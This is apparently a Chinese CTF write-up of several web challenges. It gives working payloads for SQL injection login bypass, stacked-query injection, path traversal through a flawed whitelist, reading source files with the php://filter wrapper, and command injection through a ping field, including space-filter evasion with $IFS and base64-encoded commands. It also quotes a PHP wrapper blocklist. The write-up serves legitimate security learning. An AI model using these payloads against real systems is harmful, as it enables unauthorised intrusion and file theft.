重操旧业!
[极客大挑战 2019]EasySQL
进入后发现是账号登录的界面,尝试一些特殊字符串,如单引号,发现报错,内容如下:
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'admin'' at line 1
这说明存在注入点,我们输入账号为以下值,密码随意输入后,即可拿到flag。
Payload
test' or 1;#
[极客大挑战 2019]Havefun
进去后是只猫,点击后没什么反应,只能先审计源代码。在根目录发现如下代码:
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
直接在url内带参,即可得到flag。
Payload
/?cat=dog
[HCTF 2018]WarmUp
进去后是个滑稽,老样子先审计代码,发现HTML注释内带着一个文件名:source.php
,访问后发现输出代码:
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
代码审计
checkFile函数
开头定义了一个类,里面有个checkFile
函数,传参page
。
- 判断
page
,如果为空或不为字符串,则返回false
- 检测
page
是否在白名单列表内,如果在,则返回true
- 新建一个
_page
变量,拼接page
和问号,然后截取page
从开头到第一个问号出现的位置赋值。如果_page变量在白名单列表内,则返回true
。下同,只是进行了url转码,提高兼容性。
我们看到白名单列表里还有个hint.php,访问后提示:flag not here, and flag in ffffllllaaaagggg
,说明flag在一个名为ffffllllaaaagggg
的文件内。
接着我们看看代码运行的流程。先判断url传参file是否不为空、是否为字符串、然后将file传入checkFile函数判断,如果以上条件都成立,则使用include调用file。
我们可以根据函数,传入一个白名单文件名,然后在文件名后添加问号,这样截取出来的就是白名单文件名,后面构造可以ffffllllaaaagggg
,在后面include。第一次没成功引用,后面访问到了更深的目录,终于获取到了flag。
Payload
/?file=source.php?../../../../../ffffllllaaaagggg
[ACTF2020 新生赛]Include
进入后只有个超连接tips,查看源码没发现什么,点击后带file=flag.php
参数访问了根目录,然后输出了Can you find out the flag?
题目提示了是include
,于是先将value改成index.php
,但是重复输出了很多meta charset
,判断应该是重复调用了,得加密输出。
准备使用php://input
执行命令,但是被拦截了:
应该是加了防护。使用了filter加密输出:
?file=php://filter/read=convert.base64-encode/resource=index.php
解码后代码如下:
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
原来过滤了这么多协议。同理,可以读取flag.php
,获取flag。
Payload
/?file=php://filter/read=convert.base64-encode/resource=flag.php
[ACTF2020 新生赛]Exec
进去后有一个输入框,可以进行ping IP
的操作,下面输出回显。
题目提示了exec
,推断代码为ping IP
,在IP后面添加Linux命令:
猜想正确,接下来进入到根目录,然后查看文件
127.0.0.1&&cd /&&ls
看到回显中有flag,查看即可
Payload
127.0.0.1&&cat /flag
[GXYCTF2019]Ping Ping Ping
进入后提示/?ip=
,尝试在url后输入?ip=127.0.0.1
,输出了ping的结果。
在IP后加入ls命令正常执行,发现有index.php
和flag.php
两个文件。直接cat flag.php
后提示不能有空格。使用$IFS
代替后发现不能使用flag这个关键字,想到了base64加密执行:
?ip=;a=Y2F0IGZsYWcucGhw;echo$IFS$a|base64$IFS-d|bash
输入后提示bash不能用,然后使用了花括号、小括号、星号,都不能使用,最后使用反引号成功,查看源代码后得到flag。
Payload
/?ip=;a=Y2F0IGZsYWcucGhw;echo$IFS$a|base64$IFS-d
[SUCTF 2019]EasySQL
进入后是一段话:Give me your flag, I will tell you if the flag is right.
下面有个输入框。
输入flag后,提示NONONO
;输入双引号,也提示NONONO
,推断应该是搞了屏蔽词。经测试,还有and、or、from
;输入数字后,会给你返回Array ( [0] => 1 )
,构造查表Payload后,发现可以查表,但是语句中不能出现屏蔽词,就很便秘。
卡住了,怎么办?百度呗!
看了大佬们的WP,发现有两种方法解决。
第一种方法需要推断SQL查询语句。在输入数字时有回显,输入字符串时无回显,说明存在OR的逻辑,在输入数字时短路了后面的代码,大概语句如下:
select cmd || flag from flag
那么,当cmd=*,1
时,SQL查询语句变成了:
select *,1 || flag from flag
这样,1短路了第一个flag,我们就可以查询到flag了。
第二种方法是利用sql_mode
。sql_mode
是控制 SQL 语法和数据验证的配置选项,它影响着数据库的行为,包括如何处理错误、是否启用特定的 SQL 语法、以及数据的验证规则等。
PIPES_AS_CONCAT
是 MySQL 的一个 SQL 模式选项,用于将 ||
运算符解释为字符串连接运算符,而不是逻辑“或”运算符。
Payload
*,1
1;set sql_mode=PIPES_AS_CONCAT;select 1
今天学到很多,睡觉睡觉。